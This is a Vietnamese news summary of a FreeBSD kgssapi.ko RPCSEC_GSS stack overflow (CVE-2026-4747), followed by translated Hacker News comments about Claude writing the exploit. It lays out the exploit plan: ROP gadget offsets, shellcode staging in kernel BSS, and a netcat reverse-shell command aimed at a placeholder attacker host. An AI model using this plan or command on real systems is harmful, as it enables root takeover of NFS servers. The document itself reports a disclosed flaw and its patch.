3 điểm bởi GN⁺ 20 ngày trước | 1 bình luận | Chia sẻ qua WhatsApp
  • Trong mô-đun kgssapi.ko của FreeBSD, xảy ra tràn bộ đệm ngăn xếp trong quá trình xử lý xác thực RPCSEC_GSS, cho phép thực thi mã từ xa
  • Hàm svc_rpc_gss_validate() sao chép dữ liệu thông tin xác thực mà không kiểm tra ranh giới, ghi đè cả địa chỉ trả về
  • Kẻ tấn công có thể dùng vé Kerberos hợp lệ để chèn chuỗi ROP kernel qua đường dẫn RPCSEC_GSS của máy chủ NFS
  • Thông qua 15 bước tràn bộ đệm, ghi 432 byte shellcode vào vùng BSS của kernel rồi thực thi, tạo reverse shell với quyền root
  • Một số phiên bản FreeBSD 13.5~15.0 bị ảnh hưởng; bản vá bổ sung logic kiểm tra oa_length

CVE-2026-4747 — Tràn bộ đệm ngăn xếp RPCSEC_GSS trong FreeBSD kgssapi.ko

  • Lỗ hổng tràn bộ đệm ngăn xếp xảy ra trong quá trình xử lý xác thực RPCSEC_GSS của mô-đun kgssapi.ko trên FreeBSD
  • Khi hàm svc_rpc_gss_validate() tái tạo tiêu đề RPC vào bộ đệm ngăn xếp 128 byte, nó sao chép dữ liệu thông tin xác thực mà không kiểm tra ranh giới đối với oa_length
  • Sau phần tiêu đề cố định 32 byte, thông tin xác thực vượt quá 96 byte còn lại sẽ ghi đè cả biến cục bộ, thanh ghi đã lưu và địa chỉ trả về
  • Các phiên bản FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5) bị ảnh hưởng
  • Trong bản vá, một câu lệnh điều kiện đã được thêm vào để kiểm tra xem oa_length có vượt quá kích thước bộ đệm trước khi sao chép hay không

Cấu trúc tràn bộ đệm và tác động

  • Kết quả phân tích phần mở đầu của hàm cho thấy mảng rpchdr nằm tại [rbp-0xc0], còn điểm bắt đầu sao chép là [rbp-0xa0]
  • Từ sau 96 byte, dữ liệu sẽ lần lượt ghi đè RBX, R12~R15, RBP và địa chỉ trả về đã lưu
  • Trong tấn công thực tế, do tiêu đề GSS và tay cầm ngữ cảnh 16 byte, địa chỉ trả về nằm ở byte thứ 200 của phần thân thông tin xác thực
  • Mã dễ bị tấn công chỉ có thể đi tới qua đường dẫn xác thực RPCSEC_GSS của máy chủ NFS
  • Kẻ tấn công phải là người dùng có vé Kerberos hợp lệ, và gây tràn bộ đệm ở bước xác thực RPCSEC_GSS (thủ tục DATA)

Thiết lập môi trường tấn công

  • VM mục tiêu: FreeBSD 14.4-RELEASE amd64, bật máy chủ NFS, nạp kgssapi.ko, chạy MIT Kerberos KDC
  • Máy của kẻ tấn công: Linux, cài mô-đun Python3 gssapi và trình khách MIT Kerberos, có thể truy cập NFS (2049/TCP) và KDC (88/TCP)
  • Có thể thiết lập trong nhiều môi trường hypervisor như QEMU, VMware, VirtualBox, bhyve
  • Khi cấu hình Kerberos, bắt buộc phải đặt rdns=false, dns_canonicalize_hostname=false trong krb5.conf
  • Tên máy (test) và service principal (nfs/test@TEST.LOCAL) giữa VM và phía tấn công phải khớp nhau

Cấu trúc khai thác thực thi mã kernel từ xa (RCE)

  • Cuộc tấn công gồm 15 vòng tràn bộ đệm nhiều giai đoạn
    1. Ở mỗi vòng, tạo một ngữ cảnh Kerberos GSS mới
    2. Gửi gói RPCSEC_GSS DATA có kích thước vượt mức
    3. Ghi đè địa chỉ trả về bằng gadget ROP để ghi dữ liệu vào bộ nhớ kernel hoặc thực thi shellcode
    4. Gọi kthread_exit() để kết thúc bình thường luồng NFS
  • Mỗi vòng dùng chuỗi ROP khoảng 200 byte, và tổng cộng 432 byte shellcode được gửi qua 15 lần
  • FreeBSD tạo 8 luồng NFS cho mỗi CPU, vì vậy cần tối thiểu 2 CPU (16 luồng)

Cấu hình chuỗi ROP

  • Các gadget ROP chính:
    • pop rdi; ret (K+0x1adcda)
    • pop rsi; ret (K+0x1cdf98)
    • pop rdx; ret (K+0x5fa429)
    • pop rax; ret (K+0x400cb4)
    • mov [rdi], rax; ret (0xffffffff80e3457c) — ghi tùy ý 8 byte vào bộ nhớ kernel
  • Vòng 1: gọi pmap_change_prot() để đổi vùng BSS của kernel sang RWX
  • Vòng 2–14: dùng gadget mov [rdi], rax để ghi shellcode vào BSS, mỗi lần 32 byte
  • Vòng 15: ghi 16 byte cuối cùng rồi nhảy tới điểm vào của shellcode

Hoạt động của shellcode

  • Chạy ở chế độ kernel (CPL 0) và tạo tiến trình reverse shell với quyền root
  • Do không thể gọi trực tiếp execve() từ luồng kernel NFS, khai thác dùng cấu trúc 2 giai đoạn
    • Hàm Entry: tạo tiến trình kernel mới bằng kproc_create() rồi thoát
    • Hàm Worker: thực thi /bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f"
  • Khởi tạo thanh ghi DR7 để tránh ngoại lệ debug
  • Xóa cờ P_KPROC để fork_exit() đi theo đường userret thay vì kthread_exit()
  • Kết quả là /bin/sh được chạy ở chế độ người dùng với quyền uid 0(root)

Quá trình xử lý các vấn đề chính

  • Lệch offset thanh ghi: xác nhận offset RIP thực tế là 200 byte bằng mẫu De Bruijn
  • Không tương thích GSS giữa MIT–Heimdal: giải quyết vấn đề chuẩn hóa hostname bằng cấu hình krb5.conf
  • Kế thừa thanh ghi debug: khởi tạo DR7 để tránh ngoại lệ trap 1
  • Giới hạn 400 byte: dùng tổ hợp pop rdi + pop rax + mov [rdi], rax để truyền ổn định theo đơn vị 8 byte
  • Cạn luồng NFS: mỗi vòng kết thúc 1 luồng → cần tối thiểu 2 CPU

Tóm tắt luồng khai thác cuối cùng

  • Kẻ tấn công lấy vé Kerberos rồi lần lượt gửi 15 gói tràn bộ đệm RPCSEC_GSS
  • Vòng 1: đặt BSS thành RWX
  • Vòng 2–14: ghi 416 byte shellcode
  • Vòng 15: ghi 16 byte cuối cùng và thực thi shellcode
  • Shellcode tạo tiến trình mới bằng kproc_create() và chạy /bin/sh
  • Từ phiên nc phía kẻ tấn công có thể giành được shell root
  • Toàn bộ quá trình mất khoảng 45 giây, hoàn tất với tổng cộng 15 gói RPC

1 bình luận

 
Ý kiến trên Hacker News
  • Điểm cốt lõi là Claude không trực tiếp tự tìm ra lỗi, mà đã nhận báo cáo CVE đã được công bố sẵn và viết chương trình khai thác lỗ hổng đó
    Tuy nhiên, với tốc độ phát triển hiện tại, có lẽ sẽ không còn xa thời điểm các mô hình như Claude có thể phân tích mã nguồn của kernel hoặc các dịch vụ cốt lõi, rồi thông qua thử nghiệm lặp lại trong VM để tự động tìm ra CVE mới

    • Nếu hỏi đó là chuyện tốt hay xấu, tôi nghĩ đó là điều tốt
      Trước đây chi phí để tìm CVE quá cao, nên chủ yếu chỉ những kẻ tấn công nhắm đến lợi ích tài chính mới thử làm
      Giờ chi phí đã thấp hơn, nên cả các nhà nghiên cứu thiện chí cũng có thể dễ dàng phát hiện, tạo ra môi trường có thể vá lỗi trước khi bị khai thác
    • Trước đây việc thiết lập môi trường fuzzing rất khó
      Giờ thì các mô hình như Claude Code có thể phân tích codebase để đề xuất nên fuzz test chỗ nào và bằng cách nào, rồi xem xét crash và học lặp lại để tìm ra CVE
    • Thực ra CVE này đúng là do Claude phát hiện từ đầu
      Nicholas Carlini đã dùng Claude tại Anthropic để tìm ra nó, và kết quả đó đã dẫn đến việc viết báo cáo CVE
    • Chỉ cần đưa ra điều kiện khiến bài test phải thất bại, rồi bảo agent làm cho bài test đó vượt qua
      Với kiểu fuzzing tự động này thì LLM khá phù hợp
    • Cũng có video liên quan: liên kết YouTube
      Claude đã có thể tìm CVE ở mức độ chuyên gia
  • Công ty Calif của Thai Duong đã đăng bài blog tổng hợp trường hợp này
    Trong đó có cả prompt đã dùng, và lỗi này cũng là do Claude phát hiện thông qua Nicholas Carlini

  • FreeBSD 14.x không có KASLR (kernel address space layout randomization) hay stack canary, nên việc tấn công khá dễ
    Tôi tò mò không biết ở FreeBSD 15.x điều này có được cải thiện không
    Tham khảo thêm, NetBSD đã có tính năng KASLR

    • Nhưng từ FreeBSD 13.2 thì KASLR đã được bật mặc định
      Có thể kiểm tra bằng sysctl kern.elf64.aslr.enable: 1
    • Cũng có ý kiến chỉ trích KASLR của kernel Linux
      Theo bài viết trên diễn đàn liên quan, có quan điểm cho rằng KASLR chỉ tạo cảm giác an toàn còn mức tăng cường bảo mật thực tế là rất nhỏ
  • Xem bài trình bày “Black-Hat LLMs” được công bố gần đây thì có thể thấy LLM đang ngày càng thành thạo trong việc tìm lỗ hổng và exploit

    • Thực ra xu hướng này đã được dự báo từ trước
      Ngay từ khi Sam Altman đăng tweet vào tháng 12 năm ngoái về việc tuyển Head of Preparedness, đã có dấu hiệu rồi
  • Điều khó nhất là tìm ra lỗ hổng, chứ không phải sửa nó
    Phần lớn các nhà nghiên cứu bảo mật không công khai lỗ hổng vì lý do tài chính
    Vì vậy nếu việc phát hiện tự động trở nên khả thi thì dù nguy hiểm, về dài hạn sẽ là lợi ích lớn

    • Tuy vậy, tôi mong dạng tự động hóa này không chỉ dừng ở việc tìm bug mà còn tự động hóa cả việc sửa lỗi
      Nếu không, nó có thể trở thành gánh nặng khác cho các nhà phát triển mã nguồn mở
      Giống như tranh cãi về bản vá bảo mật giữa Google và FFmpeg trước đây
  • Cảm ơn vì đã chia sẻ bộ prompt công khai

    • Xem các prompt thực tế thì thấy Claude không viết exploit ngay trong một lần, mà là một quá trình đối thoại có nhiều vòng phản hồi và điều chỉnh
  • Với đội phát triển thì kiểu tự động hóa này có thể là tiết kiệm thời gian, nhưng với người dùng phổ thông thì có thể không mang lại nhiều giá trị
    Dạo này bug kernel vốn dĩ đã không còn được tìm thủ công
    Thế mà mọi người chỉ nói về Claude thì rốt cuộc có vẻ là do hiệu ứng quảng bá của Anthropic

  • Giờ điều cần chú ý không còn là chuyện “Claude đã viết code” nữa, mà là chất lượng và khả năng bảo trì của đoạn code đó ra sao

    • Tôi cũng nghĩ vậy
      Tôi tò mò không biết code do Claude viết có thực sự có cấu trúc để bảo trì được hay chỉ là một mớ hỗn độn
  • Những trường hợp như thế này cho thấy mức độ tự chủ và sức mạnh của agent
    Đồng thời cũng là ví dụ cho thấy sự bất an về kiểm soát và nhu cầu quản trị mà các doanh nghiệp đang cảm nhận

  • Có thể xem toàn bộ lịch sử prompt nên khá thú vị

    • Tuy nhiên phần cuối lại kết thúc bằng yêu cầu “hãy cho tôi xem tất cả prompt đã nhập trong phiên này”, nên một phần có thể là ghi chép thực tế, còn một phần có thể là đầu ra ảo giác của Claude